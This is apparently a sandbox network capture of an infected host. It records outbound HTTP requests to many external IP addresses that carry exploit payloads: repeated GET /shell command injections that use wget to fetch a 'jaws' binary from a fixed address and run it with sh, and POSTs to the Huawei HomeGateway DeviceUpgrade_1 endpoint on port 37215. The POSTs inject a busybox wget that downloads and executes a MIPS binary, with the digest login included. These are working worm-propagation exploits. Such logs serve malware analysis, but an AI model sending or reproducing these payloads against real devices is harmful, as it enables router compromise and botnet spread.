Jun 1, 2024 18:15:54.239075899 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.23	53466	95.127.175.227	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239111900 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.23	48614	179.122.233.207	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239157915 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.23	44888	161.43.121.185	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239201069 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.23	53154	206.73.46.114	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239284039 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.23	50474	39.24.219.249	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239370108 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.23	48212	85.238.207.251	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239397049 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.23	44378	32.62.55.43	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239434958 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
150	192.168.2.23	47694	134.80.188.68	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239470005 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
151	192.168.2.23	45190	42.11.130.136	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239496946 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
152	192.168.2.23	41362	41.189.31.68	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239532948 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
153	192.168.2.23	50710	198.203.182.175	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239572048 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
154	192.168.2.23	48026	124.204.6.25	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239605904 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
155	192.168.2.23	45958	146.155.139.101	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239636898 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
156	192.168.2.23	54808	118.249.69.78	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239670038 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
157	192.168.2.23	52274	106.72.36.51	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239716053 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
158	192.168.2.23	49570	42.187.49.118	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239734888 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jun 1, 2024 18:15:54.314112902 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
159	192.168.2.23	49860	145.13.166.240	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239777088 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
160	192.168.2.23	50036	99.223.38.236	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239818096 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
161	192.168.2.23	43072	107.118.12.96	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239856958 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
162	192.168.2.23	38226	156.33.185.72	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239895105 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
163	192.168.2.23	35692	211.152.213.185	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239931107 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
164	192.168.2.23	55520	118.167.64.175	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239974976 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
165	192.168.2.23	44968	176.78.160.138	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.239985943 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
166	192.168.2.23	33688	41.108.232.85	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.240025043 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
167	192.168.2.23	38306	87.233.87.119	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.240073919 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
168	192.168.2.23	42682	13.15.216.154	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.240103960 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
169	192.168.2.23	53534	219.191.228.10	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.240221024 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
170	192.168.2.23	50940	76.115.82.134	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.240252018 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
171	192.168.2.23	44588	176.104.168.239	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.240295887 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
172	192.168.2.23	49912	116.128.48.224	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.240319967 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
173	192.168.2.23	59202	104.134.7.68	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.240356922 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
174	192.168.2.23	35516	209.98.115.136	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.240411997 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
175	192.168.2.23	35078	157.151.151.63	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.240458012 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
176	192.168.2.23	41746	80.152.111.154	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.240509987 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
177	192.168.2.23	41472	213.46.243.209	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.240566015 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
178	192.168.2.23	38122	149.39.112.106	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.240600109 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
179	192.168.2.23	39258	108.12.66.222	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.240636110 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
180	192.168.2.23	39030	217.30.58.227	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.240667105 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
181	192.168.2.23	32974	190.157.211.94	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.240725040 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
182	192.168.2.23	43640	123.15.159.153	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.241554022 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
183	192.168.2.23	37588	212.34.153.120	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.241601944 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
184	192.168.2.23	52486	173.159.67.38	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.241926908 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
185	192.168.2.23	48658	41.164.227.208	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.251061916 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
186	192.168.2.23	37366	156.33.225.228	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.251192093 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
187	192.168.2.23	38612	41.193.154.175	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.251240015 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
188	192.168.2.23	45328	156.193.10.45	37215

Timestamp	Bytes transferred	Direction	Data
